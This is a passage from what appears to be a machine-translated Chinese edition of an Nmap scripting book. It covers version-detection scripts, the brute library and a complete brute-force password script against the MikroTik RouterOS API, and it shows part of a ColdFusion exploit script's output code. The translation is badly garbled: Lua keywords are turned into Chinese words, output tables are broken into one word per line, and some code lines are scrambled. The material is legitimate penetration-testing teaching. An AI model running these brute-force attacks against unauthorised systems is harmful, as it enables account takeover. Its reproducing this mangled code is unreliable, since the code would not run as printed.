port.version.extrainfo = "status port" ... port.version.extrainfo end
port.version.extrainfo = port.version.extrainfo ... " ; uptime:" ... uptime_str(info.uptime)
port.version.extrainfo = port.version.extrainfo ... "; auth: " ... auth_str(info.auth)
nmap.set_port_version(host, port, "hardmatched")。
这一次,set_port_version()函数将匹配级别设置为硬匹配
因为我们百分之百相信我们是在与Ventrilo服务器对话。
在启用服务检测的情况下扫描的Ventrilo服务器应该会返回结果
类似于以下内容。
港口州 服务 范围
9408/tcp openventrilo Ventrilo 3.0.3.C (voice port;name: TypeFrag.com; uptime: 152h: 56m; auth: pw)
| Ventrilo-info:
| 名称:TypeFrag.com
| 音译。Type Frag Dot Com
| auth: pw
|最大的客户。100
| 语音编解码器。3,Speex
| 语音格式。32,32 KHz%2C 16 bit%2C 10 Qlty
| 正常运行时间: 152h:56m
|平台。WIN32
| 版本: 3.0.3.C
| 通道数。14
| 通道字段。cid, pid, prot, name, comm
| 客户数。6
| 客户端字段。admin, cid, phan, ping, sec, name, comm
| 渠道。
|<顶层大厅>(CID:0,PID:不详,PROT:不详,COMM:不详)。
<空
| 1组(CID:719,PID:0,PROT:0,COMM:)。
|stabya (ADMIN: 0, PHAN: 0, PING:47, SEC:206304,COMM:
| |
集团 |
2 |
(CID: |
720, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| |
集团 |
3 |
(CID: |
721, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| |
集团 |
4 |
(CID: |
722, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| |
集团 |
5 |
(CID: |
723, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
|
|Sir Master Win (ADMIN: 0, PHAN: 0, PING:32, SEC:186890, COMM:
|waterbukk (ADMIN: 0, PHAN: 0, PING:31, SEC:111387,COMM:
|likez (ADMIN: 0, PHAN: 0, PING:140, SEC:22457,COMM:
|推特 (ADMIN: 0, PHAN: 0, PING:140, SEC:21009,COMM:
| 第6组 (CID: 724, PID: 0, PROT: 0, COMM: ): <空>。
| Raid (CID: 725, PID: 0, PROT: 0, COMM: ): <空>.
|官员(CID:726,PID:0,PROT:1,COMM:):<空>。
| PG 13 (CID: 727, PID: 0, PROT: 0, COMM: ): <空 >。
| |
评级 |
R |
(CID: |
728, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| |
集团 |
7 |
(CID: |
729, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| |
集团 |
8 |
(CID: |
730, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| |
集团 |
9 |
(CID: |
731, |
PID。 |
0, |
PROT。 |
0, |
COMM: |
): |
<空 |
| AFK - AFK时切换到此(CID: 732, PID: 0, PROT: 0, COMM:
):
|_Eisennacher (ADMIN: 0, PHAN: 0, PING:79, SEC:181948,COMM:
服务信息。操作系统。WIN32
NSE脚本 - rpc-grind
rpc-grind脚本是由Hani Benhabiles提交的,是NSE有多强大的一个例子。这个脚本取代了Nmap附带的RPC研磨的C实现,它提取服务名称、RPC号码和版本。
在脚本portrule中,他们遵循良好的惯例,检查并兑现排除的端口表,也避免重复检查已经被识别的服务。
portrule = function(host, port)
-- 不对排除在外的端口运行
如果(nmap.port_is_excluded(port.number, port.protocol))那么返回false
结束
如果 port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
-- 排除已经被检测到的服务是什么
--与rpcbind不同。 返回false
结束
返回true
结束
这个脚本向nmap-rpc文件中列出的RPC程序号发送空RPC调用请求。在处理响应后,它检查结果并更新端口信息。
如果#result>0,那么
port.version.name = result.program port.version.extrainfo = "RPC #" ... result.number if result.highver ~= result.lowver then
port.version.version = ("%s-%s"):format(result.lowver, result.highver)
否则
port.version.version = result.highver
结束
nmap.set_port_version(host, port, "hardmatched")。
否则
stdnse.print_debug("Couldn't determine the target RPC service.运行一个不在nmap-rpc中的服务?")
结束
如果检测到一个RPC服务,输出将类似于以下内容。
港口州 服务 范围
53344/udp openwalld (walld V1) 1 (RPC#100008)
摘要
在这一章中,您学到了Nmap中版本检测的内部工作,包括它的阶段、数据库结构、排除项和后处理程序。modbus-discover, ventrilo-info, 和rpc-grind NSE版本脚本被用来作为NSE能够执行的高级指纹的真实例子。
到此为止,您不仅应该熟悉Nmap的版本检测系统,还应该熟悉NSE API。您现在有了对新服务执行高级指纹任务和提高Nmap的检测能力所需的知识。我鼓励您在继续学习下一章之前去写您的第一个版本检测脚本。这也会帮助您练习一些用Lua进行模式匹配的真实场景。
在下一章中,你将了解NSE中强大的布鲁特密码审计框架,以及如何为自定义应用程序或新协议编写脚本。你还将学习如何实现强大的蛮力库和其他与用户凭证有关的重要库。准备好你的词表和
让我们对一些凭证进行暴力攻击。
开发强硬的密码审计脚本
NSE的一个重要功能,(可悲的是)经常被遗忘,就是能够对众多的服务、应用程序和协议进行粗暴的密码审计攻击。作为有经验的渗透测试人员,我们知道在许多IT环境中都会发现弱的凭证,如果不把自己闷死,就不可能手动找到它们。蛮横的NSE类别试图通过分组50多个不同的脚本来减轻这种痛苦,以配合各种应用程序、服务和协议,如这些。
- 网络应用的HTTP、HTTPS和特定应用脚本
- 邮件发送系统的SMTP、POP和IMAP
- 数据库管理系统的Oracle、IBM DB2、MySQL、MS SQL、Cassandra和MongoDB
- 源代码控制系统的SVN和CVS
- 许多其他有趣的协议,如SIP、VMWare授权和其他特定应用守护程序
在本章中,我们将介绍以下内容。
- 调整执行模式和辞典
- 从brute库中实现Driver类
- 调整蛮牛引擎的行为
- 使用用户名和密码数据库的工作
- 在你的NSE脚本中管理已发现的凭证
开发强硬的密码审计脚本
准备好你的单词表,让我们大胆地去写暴力密码审计的NSE脚本。我保证你会惊讶地发现这可以是多么简单的事情。
与Brute NSE库一起工作
brute NSE库(http://nmap.org/nsedoc/lib/brute.html)的开发是为了统一编码风格,节省创建暴力密码审计脚本的时间。这个库功能齐全,并自动将脚本进行的登录操作并行化。 它支持不同的执行模式,改变引擎在读取用户名和密码列表时使用的迭代顺序。brute库可以处理不完整的登录尝试,并将失败的用户名-密码组合重新添加到队列中。它还与creds库一起工作,处理和存储在扫描过程中发现的用户凭证,以便其他脚本能够从中受益。总的来说,它是一个非常完整的库,为开发暴力密码审计脚本提供了坚实的基础。
brute NSE库定义了以下类。
- 帐户
- 发动机
- 选择
- 误差
这些类的名字本身就应该说明它们的目的,所以我们来看看一些实现细节。
一个典型的NSE脚本在调用brute引擎时,需要向引擎类的构造函数传递一个驱动类和主机、端口和选项表。在引擎启动后,驱动类的实例将为每次登录尝试创建。
使用brute.Engine:new()方法来创建一个引擎的实例。
brute.Engine:new(Driver, host, port, options)。
创建brute.Engine的类实例并开始攻击的完整代码如下。
本地状态、结果、引擎
engine = brute.Engine:new(Driver, host, port, options) engine:setMaxThreads(thread_num) engine.options.script_name = SCRIPT_NAME
状态, 结果 = 引擎:启动()
第六章
接下来,我们将学习使用技巧,以及如何定义NSE蛮横的核心。
脚本-司机类。
选择蛮横的模式
执行模式定义了针对用户名和密码列表使用的迭代器对象的行为。虽然默认模式在大多数情况下运行良好,但作为高级用户,我们可能需要调整生成的登录组合的顺序,或者可能需要使用一个包含常用用户名和密码对的文件。
Brute库支持三种不同的模式。
- 用户
- 通过
- 信誉
假设我们的用户名列表包含以下内容。
- 管理员
- 根
那么我们假设我们的密码列表包含。
- 测试
- 管理员
在用户模式下,该引擎将尝试用每个用户名的每个密码来登录。使用我们先前定义的列表,产生的登录组合将如下。
admin:test admin:admin root:test root:admin
在通过模式下,引擎将为每个密码尝试每个用户名。使用前面的列表,它将产生以下登录组合。
admin:test root:test admin:admin root:admin
[ 105 ]
最后,creds模式从用brute.credfile库参数定义的文件中读取一组凭证。这个文件应该包含用户名和密码的登录组合,用/字符分隔。比如说。
- 管理员/管理员
- admin/12345
- admin/
通过设置brute.mode库参数来选择一种模式。如果没有设置该参数,默认值为pass。
$nmap --script brute --script-args brute.mode=user <target>。
不要忘了,creds模式需要brute.credfile库的参数来实现
被定义。
$nmap --script brute --script-args brute.mode=creds,brute.credfile=/home/ pentest/common-creds.txt <target>
不要忘记你可以用userdb 和
passdb的参数,如下所示。
$nmap --script brute --script-args userdb=/home/pentest/ users.txt,passdb=/home/pentest/top500.txt <target>
实现驱动类
蛮牛引擎将为每次登录尝试创建驱动类的实例。
需要在该类中定义的方法是。
- 驱动程序:登录
- 驱动程序:连接
- 驱动程序:断开连接
Driver:login() 函数存储了负责使用给定的用户名和密码登录到目标的逻辑。它应该返回两个值:一个表示操作状态的布尔值和一个账户或错误对象。
Driver:connect()方法处理与建立连接有关的任务,如创建网络套接字和检查目标是否在线和响应。这个方法在Driver:login()之前执行。
最后,Driver:disconnect()方法被用来执行任何额外的清理任务,比如关闭文件处理程序或网络套接字。Driver:connect()和Driver:disconnect()都可以是空函数。
用来声明这个类的语法将看起来像这样。
驱动程序 = {
new = function(self, host, port, options)
...
结束。
login = function(self)
...
结束
connect = function(self)
...
结束
disconnect = function(self)
...
结束
}
让我们来看看这个类的真实实现。下面是http-wordpress-brute脚本中经过编辑的片段。在这种情况下,Driver:connect()和Driver:disconnect()函数并没有被真正使用,因为用http库进行的HTTP调用是线程安全的,没有必要使用原始网络套接字。
驱动程序 = {
new = function(self, host, port, options) local o = {}
setmetatable(o, self) self. index = self o.options = options return o
结束。
connect = function( self ) return true
结束。
login = function( self, username, password )
-- 注意no_cache指令
stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri) local response = http.post( self.host, self.port, self.uri, {
no_cache = true }, nil, { [self.options.uservar] = username,
[self.options.passvar] = password })
-- 这个重定向把我们带到了/wp-admin 如果 response.status == 302 那么
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
return true, brute.Account:new( username, password, "OPEN" ) end
return false, brute.Error:new( "Incorrect password" ) end,
disconnect = function( self ) return true
结束。
check = function( self )
local response = http.get( self.host, self.port, self.uri ) stdnse.print_debug(1, "HTTP GET %s%s",
stdnse.get_hostname(self.host),self.uri)
-- 检查密码字段是否存在,如果( response.status == 200 and
response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "初始检查通过,启动暴力攻击" )
返回true,否则
stdnse.print_debug(1, "初始检查失败,没有找到密码字段")
结束
返回错误结束
}
Driver:check()函数已被弃用。如果你需要执行检查任务,你应该在启动蛮牛引擎之前完成。
传递库和用户选项
brute库的优势之一是它的灵活性。它支持几个运行时的配置选项,可以通过编程或命令行参数来调整引擎的行为。例如,通过启用brute.firstonly,我们让引擎在找到第一个账户后停止并退出,如果我们正在寻找快速访问,这是一个方便的选项。当然,这只是该库所支持的选项的冰山一角。
该库中定义的选项有:。
- 第一只
- 仅通过
- max_retries
- 延迟
- 模式
- 职称
- 怀念
- 最大猜测
- 用户密码
- 空口说
正如我们刚才提到的,brute.firstOnly库的参数是一个布尔值。如果设置了,它会使引擎在找到第一个有效账户后退出。要通过命令行启用它,我们使用这个表达式。
$nmap --script brute --script-args brute.firstOnly <target>。
brute.passOnly参数是为了帮助我们测试一个空白用户账户的密码。为了设置这个库参数,我们在命令行中输入以下内容。
$nmap --script brute --script-args brute.passOnly <target>。
brute.max_retries库选项设置每次登录的网络连接尝试次数。要小心;在这种情况下,如果我们决定用命令行来设置它,该选项会使用不同的名字。
$nmap --script brute --script-args brute.retries=10 <target>
brute.delay选项设置登录尝试之间的等待时间(以秒为单位)。下面是在命令行中设置该值的表达方式。
$nmap --script brute --script-args brute.delay=3 <target>.
有些系统在登录失败一定次数后会锁定账户。brute.max_guesses选项定义了每个账户的登录尝试次数。对这个要小心,如果你想从命令行中设置,参数名称会有些不同。
$nmap --script brute --script-args brute.guesses=10 <target>
默认情况下,brute库会尝试使用用户名作为密码来登录。以编程方式更新brute.useraspass的值,或者用下面的命令从命令行中设置它。
$nmap --script brute --script-args brute.useraspass=false <target>
brute.emptypass选项参数使库尝试使用空密码登录。这个值也可以通过编程或命令行来设置。
$nmap --script brute --script-args brute.emptypass <target>。
所有前面的选项也可以通过编程来设置。例如,要设置brute.emptypass选项,你只需要在Driver类的构造函数中设置该变量。
司机=
{
new = function(self, host, port, options )
local o = { host = 主机, port = 端口, options = 选项 } setmetatable(o, self)
self.index = self o.emptypass = true return o
结束。
...
}
此外,brute.title和brute.nostore选项只能通过编程来设置结果表的标题,并避免存储发现的凭证。
用户定义的选项是允许的,而且使用起来很简单。只要把选项表作为第四个参数传给brute.Engine构造函数即可。
本地选项 = {timeout = 5000}
local engine = brute.Engine:new(Driver, host, port, options)
要在你的Driver类中读取或使用这些用户定义的选项,你只需访问
作为第一个参数传递的自我对象。比如说。
如果self.options['timeout'] == 0 那么
-做一些事情结束
通过账户对象返回有效账户
帐户类用于表示执行期间在目标中发现的有效帐户。使用该类存储的每个账户将有一个状态。
可用的状态有:。
- 打开
- 失能
- 已锁定
在实现Driver类时,你会发现自己与这个对象打交道。这个类的一个实例必须作为Driver:login()函数的返回值使用。要创建一个实例,你只需用所需的用户名、密码和账户状态调用构造函数。
brute.Account:new(username, password, "OPEN")
在你的脚本中设置正确的账户状态是很重要的。通常情况下,你会在Driver:login()的实现中出现这样的内容。
如果string.find(data, "Welcome home" ) ~= nil 那么
return true, brute.Account:new(username, password.)
"开放")
elseif string.find(data, "too many attempts. This account has been locked") ~= nil then
return true, brute.Account:new(username, password.)
"LOCKED")
结束
用Error类优雅地处理执行错误
Error类帮助我们处理执行错误,但更重要的是,这个类给brute.Engine发出信号,允许它管理登录重试。由于这个原因,在开发NSE蛮横脚本时,你需要使用它。
要创建一个brute.Error的实例,你需要调用带有描述性错误信息的构造函数。
brute.Error:new("你自己的错误信息在这里")
这个类的实例应该作为第二个返回值在你的
驱动程序的实施。
如果登录,那么
return true, brute.Account:new(username, password, "OPEN") else
return false, brute.Error:new("Incorrect password") end
用unpwdb NSE库读取用户名和密码列表
坚持使用brute库提出的框架的开发者不需要担心读取Nmap提供的用户名和密码数据库。然而,如果您发现自己写脚本时由于任何原因没有这个库,您可以用unpwdb库来做。
unpwdb库提供了两个函数:usernames()和passwords()。它们返回一个函数闭包(如果成功的话),每次调用都会相应地输出用户名和密码。返回的闭包也可以接受reset参数,将指针设置在列表的开头。
下面的片段说明了如何使用这些函数闭包来与用户名和密码数据库交互。
本地用户名、密码 本地nmap_try = nmap.new_try()
usernames = nmap_try(unpwdb.usernames()) passwords = nmap_try(unpwdb.passwords())
for password in passwords do
for username in usernames do
-- 做点什么吧!结束
usernames("reset") --回溯列表结束
Nmap提供的用户名和密码数据库可以在您的数据目录下的usernames.lst和passwords.lst文件中找到 (见第3章, NSE数据文件)。
unpwdb库的官方文档可以在以下网址找到
http://nmap.org/nsedoc/lib/unpwdb.html。
管理扫描中发现的用户凭证
在6.x之前的版本,NSE发现的凭证存储在Nmap注册表里。创建creds库是为了提供一个接口来轻松读写存储在这个注册表里的用户凭证。每个账户与一个状态相联系,类似于brute.Account类,所以它允许类型过滤。
从NSE脚本中,你可以通过一次调用列出所有发现的账户。
tostring(creds.Credentials:new(SCRIPT_NAME, host, port))
你还可以对它们进行迭代,并根据类型执行具体的行动。
local c = creds.Credentials:new(creds.ALL_DATA, host, port) for cred in c:getCredentials(creds.State.VALID) do
doSomething(cred.user, cred.pass) end
你可以很容易地把它们写到一个文件中。
local c = creds.Credentials:new( SCRIPT_NAME, host, port ) status, err = c:saveToFile("credentials-dumpfile-csv", "csv".)
新的凭证可以是全局性的,也可以与特定的服务相联系。例如,要添加特定于HTTP服务的凭证,我们可以使用这个。
$nmap -p- --script brute --script-args creds.http="cisco:cisco" <target>。
然后我们可以使用global关键字作为参数名,在全局范围内添加它们。
$nmap -p- --script brute --script-args creds.global="administrator:administrator" <target>.
最后,我们将以编程方式向注册表写入一组新的凭证,像这样。
local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port)
)
c:add(username, password, creds.State.VALID )
信条库的官方文档可以在http://nmap.org/nsedoc/lib/creds.html。
编写一个NSE脚本,对MikroTik RouterOS API发起密码审计攻击
让我们通过编写一个完整的NSE脚本将一切联系起来,该脚本使用本章中看到的所有库。在这个场合,我们的目标是运行MikroTik RouterOS 3.x和更高版本的设备,并启用API访问。
API服务通常在TCP 8728端口运行,它允许对运行该操作系统的设备进行管理访问。通常,管理员会锁定HTTP和SSH,但不会锁定API。让我们写一个脚本,帮助我们对这个服务进行暴力密码审计。
- 首先,让我们从信息标签和所需库开始。
描述 = [[]
对启用了API RouterOS接口的Mikrotik RouterOS设备进行蛮力密码审计。
其他信息。
* http://wiki.mikrotik.com/wiki/API
* http://wiki.mikrotik.com/wiki/API_in_C
* https://github.com/mkbrutusproject/MKBRUTUS
]]
作者 = "Paulino Calderon <calderon()websec.mx>"
license = "与Nmap相同--见http://nmap.org/book/man-legal.html"
类别 = {"发现", "蛮横"}.
local shortport = require "shortport" local comm = require "comm"
local brute = require "brute" local creds = require "creds" local stdnse = require "stdnse"
local openssl = stdnse.silent_require "openssl"
- 脚本将在TCP 8728端口打开时运行,因为Nmap目前没有正确检测到这个服务。让我们用shortport.portnumber()把它定义为一个端口规则。
portrule = shortport.portnumber(8728, "tcp")
- 接下来,让我们开始实现我们的驱动程序类。这种类型的设备的默认管理账户是admin,密码是空的,所以我们在定义构造函数时启用空密码。
司机=
{
new = function(self, host, port, options )
local o = { host = 主机, port = 端口, options = 选项 } setmetatable(o, self)
self.index = self o.emptypass = true return o
结束
}
- 我们的Driver:connect()函数应该设置套接字连接
我们将需要。注意我们是如何访问选项表来读取超时值的。
connect = function( self )
self.s = nmap.new_socket("tcp") self.s:set_timeout(self.options['timeout'] )
return self.s:connect(self.host, self.port, "tcp" ) end
- 现在我们需要一个Driver:disconnect()函数来正确关闭网络套接字,以避免套接字耗尽。
disconnect = function( self ) return self.s:close()
结束
最后,我们到了好的部分,我们的Driver:login()函数。在这里,我们为API协议构建一个有效的登录查询。让我们把它分解一下。
- 首先,我们在bin.pack()的帮助下创建所需的连接探头
和一个Nmap异常处理程序。
login = function( self, username, password ) local status, data, try
data = bin.pack("cAx", 0x6, "/login")
try = nmap.new_try(function() return false end)
- 让我们向目标发送这个探针,并试图获得一个挑战响应。
try(self.s:send(data))
data = try(self.s:receive_bytes(50)) stdnse.debug(1, "Response #1:%s", data)
local _, _, ret = string.find(data, '!done%%=ret=(.+)')
- 如果挑战响应被正确提取,我们可以形成登录查询字符串。
如果ret,那么
stdnse.debug(1, "Challenge value found:%s", ret) local md5str = bin.pack("xAA", password, ret) local chksum = stdnse.tohex(openssl.md5(md5str)) local login_pkt = bin.pack("cAcAcAx", 0x6,
"/login", 0x0b, "=name=".username, 0x2c,
"=response=00".chksum)
- 让我们发送登录查询并等待响应。
try(self.s:send(login_pkt))
data = try(self.s:receive_bytes(50)) stdnse.debug(1, "Response #2:%s", data)
- 然后我们寻找表明登录尝试成功的文本模式。如果是这样,我们就可以把它添加到我们的凭证注册表中,并把结果返回给引擎。
If data and string.find(data, "%!done") ~= nil then if string.find(data, "message=cannot" ) == nil
然后
local c = creds.Credentials:new(SCRIPT_NAME,
self.host, self.port )
c:add(username, password, creds.State.VALID ) return true, brute.Account:new(username,
password, creds.State.VALID)
结束 结束
- 如果登录尝试没有成功,我们会返回一个brute.Error的实例。
return false, brute.Error:new( "Incorrect password" ) 。
- 我们的最终班级将看起来像这样。
司机=
{
new = function(self, host, port, options )
local o = { host = 主机, port = 端口, options = 选项 } setmetatable(o, self)
self.index = self o.emptypass = true return o
结束。
connect = function( self )
self.s = nmap.new_socket("tcp") self.s:set_timeout(self.options['timeout'] )
return self.s:connect(self.host, self.port, "tcp" ) end,
login = function( self, username, password ) local status, data, try
data = bin.pack("cAx", 0x6, "/login")
--连接到服务并获得挑战响应 try = nmap.new_try(function() return false end) try(self.s:send(data))
data = try(self.s:receive_bytes(50)) stdnse.debug(1, "Response #1:%s", data)
local _, _, ret = string.find(data, '!done%%=ret=(.+)')
--如果我们找到了挑战值,就继续进行连接过程
如果ret,那么
stdnse.debug(1, "Challenge value found:%s", ret) local md5str = bin.pack("xAA", password, ret) local chksum = stdnse.tohex(openssl.md5(md5str)) local login_pkt = bin.pack("cAcAcAx", 0x6。
"/login", 0x0b, "=name=".username, 0x2c,
"=response=00".chksum)
try(self.s:send(login_pkt))
data = try(self.s:receive_bytes(50)) stdnse.debug(1, "Response #2:%s", data)
然后
If data and string.find(data, "%!done") ~= nil then if string.find(data, "message=cannot" ) == nil
local c = creds.Credentials:new(SCRIPT_NAME,
self.host, self.port )
c:add(username, password, creds.State.VALID ) return true, brute.Account:new(username,
password, creds.State.VALID)
结束 结束
结束
return false, brute.Error:new( "Incorrect password" ) end,
disconnect = function( self ) return self.s:close()
结束
}
最后,唯一要做的就是创建一个brute.Engine的实例。我们的主要动作代码块将初始化brute.Engine,并读取几个定义配置选项的参数,如线程数和连接超时。
action = function(host, port) local result
local thread_num = stdnse.get_script_args(SCRIPT_NAME.".threads") or 3
本地选项 = {timeout = 5000}
local bengine = brute.Engine:new(Driver, host, port, options)
bengine:setMaxThreads(thread_num) bengine.options.script_name = SCRIPT_NAME
_, result = bengine:start()
返回结果 结束
我们的最终版本已经准备好了,我们可以去对我们的目标进行测试。该库
将负责为我们制作一份漂亮的报告。
港口国服务
8728/tcp openunknown
| mikrotik-routeros-brute:
|账户
|admin - 有效的凭证
|统计学
|_在70秒内进行了500次猜测,平均tps:7
这就是全部!我们已经创建了一个非常强大的NSE脚本,可以在不到100行的时间内对一个服务进行强行密码审计。我建议你找一个服务或应用程序,为它写一个NSE暴力脚本。如果你还不满意的话,你会对它的力量感到非常满意。
完整的mikrotik-routeros-brute脚本可以在以下网址找到
https://github.com/cldrn/nmap-nse-scripts/blob/master/ scripts/6.x/mikrotik-routeros-brute.nse。
摘要
在这一章中,我们很开心地编写了NSE脚本,使用brute库来发动字典攻击。我们的脚本,mikrotik-routeros-brute,表明我们只需要100行代码,就可以产生支持并行、连接重试、账户处理和报告的脚本。
读完本章后,你应该知道所有需要的库以及如何实现编写自己的脚本所需的接口。拿起你最喜欢的
网络应用和实践这个新知识。没有比实践更好的方法来掌握某件事情了。
下一章介绍了NSE中的输出格式。您将了解Nmap支持的输出模式以及它们在NSE中的优势和劣势。现在是我们学习一些如何格式化我们的脚本输出的好方法的时候了。
格式化脚本输出
正确格式化我们的Nmap脚本引擎(NSE)的输出是很重要的,因为它为使用它们的人提供更大的灵活性,特别是在阅读或解析结果时。本章包括支持的输出模式的用法,并试图概述关于向用户报告数据的良好做法。
在6.20BETA1版本中,引入了一个新功能,允许NSE脚本返回XML格式的结构化数据,从而提供更大的灵活性。在此之前,用户需要从存储在文件中的字符串中解析结果,而新的系统允许用户在一个组织良好的XML文件中浏览。我们将探讨产生这种结构化输出的不同方式。
除了新的结构化输出方案,本章将谈论Nmap API和stdnse库在格式化我们的脚本输出和打印调试调用或verbose消息时的作用。在这一章中,我们将涵盖以下主题。
- Nmap支持的输出格式概览
- 在XML模式下的结构化输出
- 格式化粗略的信息和处理不同的粗略程度
- 格式化调试信息和处理不同的调试级别
- 从命令行处理XML文件
- 不同输出格式的优势和劣势
最后,请记住,你可能会遇到一些仍然不支持结构化输出的脚本。请随时更新它们,并将你的贡献发送到开发邮件列表中。我们将非常感激您的帮助。
输出格式和Nmap脚本引擎
让我们快速回顾一下Nmap如何格式化扫描的输出。如果我们对scanme.nmap.org主机运行默认的NSE类别(-sC),我们得到以下输出。
nmap -n -Pn -p80 -sC scanme.nmap.org
港口国服务
80/tcp openhttp
|_http-title:去吧,ScanMe!
默认情况下,如果没有给出选项,Nmap返回正常的输出。可用的输出选项是。
- 正常输出(-oN)
- XML输出(-oX)。
- 可检索输出(-oG)。
- 脚本小子 (-oS)
参数-oA <basename>可以将输出保存为普通、XML和grepable格式。我个人一直在使用这个选项。比方说,我们想用NSE扫描80端口,并以所有格式保存结果。我们会使用类似于下面的命令。
$nmap -p80 -sC -oA scanme.nmap.org scanme.nmap.org 扫描完成后,将在您的当前目录中生成新文件。
- scanme.nmap.org.gnmap
- scanme.nmap.org.nmap
- scanme.nmap.org.xml
这些文件对应于grepable、normal和XML格式的扫描结果。现在你可以选择最适合任务的格式。例如,正常输出可能一目了然,但你肯定需要那个XML文件来把结果导入你最喜欢的漏洞扫描仪。
现在让我们看看同一扫描的XML输出是怎样的。
$nmap -p80 -sC scanme.nmap.org -oX
<?xml version="1.0"?>。
<! DOCTYPE nmaprun PUBLIC "-//IDN nmap.org/DTD Nmap XML 1.04/EN" "https://svn.nmap.org/nmap/docs/nmap.dtd">
<? xml-stylesheet href="file://usr/local/bin/.../share/nmap/nmap.xsl" type="text/xsl"?>
<!--Nmap 6.46扫描启动<日期>为:nmap -p80 -sC -oX - scanme. nmap.org -->
<nmaprun scanner="nmap" args="nmap -p80 -sC -oX - scanme.nmap.org" start="<start timestamp unix format>" startstr="<date>" version="6.46" xmloutputversion="1.04">。
<scaninfo type="syn" protocol="tcp" numservices="1" services="80"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="<start timestamp unix format>" endtime="<end timestamp unix format>"><status state="up" reason="reset" reason_ttl="128" />
<address addr="74.207.244.221" addrtype="ipv4"/>
<主机名
<hostname name="scanme.nmap.org" type="user"/>
<hostname name="scanme.nmap.org" type="PTR"/>
</主机名>
<ports><port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="128"><service name="http" method="table" conf="3"><script id="http-title" output="Go ahead and ScanMe!"><elem key="title">Go ahead and ScanMe!</elem>
</script></port>
</ports>
<times srtt="24648" rttvar="44746" to="203632"/>
</主机>
<runstats><finished time="<end timestamp unix format>" timestr="<date>" elapsed="2.69" summary="Nmap done at <date>; 1 IP address (1 host up) scanned in 2.69 seconds" exit="success"/>hosts up="1" down="0" total="1" />
</runstats>
</nmaprun>
如果我们比较正常和XML输出中显示的信息量,你会发现唯一的区别是原因字段,它解释了为什么主机被标记为在线,而服务被标记为开放。这两个文件
应该包含相同的信息。然而,如果我们计划以编程方式访问这些信息,使用XML文件更容易,因为几乎每一种编程语言都提供强大的XML解析能力。
使用"-"字符,将输出重定向到stdout。
$ nmap -oX - scanme.nmap.org
现在让我们注意一下脚本标签元素是什么样子的。
<script id="http-title" output="Go ahead and ScanMe!"><elem key="title">Go ahead and ScanMe! </elem>
</脚本>
在XML结构化输出之前编写的NSE脚本也遵循这种格式。
<script id="<script name>" output="<script output>"></script>。
把输出塞进一个标签内可能导致XML文件难以阅读,有时甚至难以解析。下面的片段是针对scanme.nmap.org的http-vhosts脚本输出的一个编辑版本。
nmap.org : 200 stats.nmap.org : 200 help.nmap.org : 200 app.nmap.org : 200 news.nmap.org : 200" />
在前面的片段中,我们可以看到,输出是在<domain>之后。
<status> 格式,这不会太难处理。现在让我们看看使用vuln库来报告漏洞的脚本的输出如何在解析上更加棘手。
<script id="bmc-supermicro-conf" output=" VULNERABLE: Supermicro BMC 配置文件 披露状态。VULNERABLE (Exploitable) 描述:一些Supermicro BMC产品存在认证绕过漏洞,允许攻击者 下载包含纯文本用户凭证的配置文件。 凭证可用于登录管理界面和 网络'的活动目录。披露日期: 2014-06-19 额外信息:配置文件的摘录:。
.............admin.\x01\x01\x01.\x01
......\x01ADMIN...........Mpp$!!009...........T.T.x01
\x01\x01.x01\.....................................................
..... 配置文件保存在'xxx.xxx.xxx_bmc.conf' 参考资料: http://blog.cari.net/carisirt-yet-another
-bmc-vulnerability-and-some-added-extras/ "/>
为了克服这个问题,在6.20BETA1版本中引入了一个新的功能--结构化的XML输出。NSE开发者现在可以很容易地使他们的脚本返回以分层结构组织的数据,如前面http-title脚本的例子所示。
<script id="http-title" output="Go ahead and ScanMe!"><elem key="title">Go ahead and ScanMe! </elem>
</脚本>
XML结构化输出
XML结构化输出的目的是把数据以比老式脚本返回的一团文本更容易解析的结构返回给用户。最好的部分是,我们可以使用Nmap API和stdnse库提供的标准函数在我们的脚本中透明地利用这个特性。如果您正在考虑发送您的NSE脚本以使其包含在Nmap官方版本中。
我强烈建议让你的脚本支持结构化输出。
stdnse和nmap库的官方文档可以在这里找到。
在你的脚本中实现结构化输出
Lua表是表示输出的完美数据结构,所以它们是NSE用作返回值的明显选择。NSE脚本可以通过返回以下值之一来实现结构化输出。
- 一个Lua表
- 一个Lua表和一个字符串
- 一个带有tostring()元方法的Lua表
实现结构化输出的最简单的方法是返回一个Lua表,NSE会自动将其转换为相应的格式--也就是说,对于正常(-oN)和XML输出模式(-oX),分别是字符串表示或XML文件。
让我们跳进一些代码,看看让你的脚本支持结构化输出是多么容易。我写了http-coldfusion-subzero脚本,它利用了臭名昭著的ColdFusion漏洞,以获得对Linode(以及用它们托管的几个高知名度的客户,包括Nmap项目)的访问,这被Adobe称为APSB13-13(http://www.adobe.com/support/security/bulletins/apsb13-13. html)。让我们来剖析一下主要的代码块。
action = function(host, port)
本地output_tab = stdnse.output_table() 本地basepath =
stdnse.get_script_args(SCRIPT_NAME.".basepath")或 "/"
local installation_path = get_installation_path(host, port, basepath)
local version_num = get_version(host, port, basepath) local status, file = exploit(host, port, basepath)
如果状态,那么
If version_num then output_tab.version = version_num
结束
If installation_path then output_tab.installation_path =
url.unescape(installation_path)。
结束
output_tab.password_properties = file else
return nil end
return output_tab end
第一行是对stdnse库的output_table()函数的调用。
本地output_tab = stdnse.output_table()
第七章
上述函数的目的是创建一个Lua表,保持元素插入的顺序,以构建一个输出表。这个输出表由脚本返回,并由NSE解释,按照指定的格式显示输出。接下来的几行只是读取用户参数,调用负责检测和利用漏洞的函数。
本地basepath = stdnse.get_script_args(SCRIPT_NAME.".basepath")或"/"
local installation_path = get_installation_path(host, port, basepath)
local version_num = get_version(host, port, basepath) local status, file = exploit(host, port, basepath)
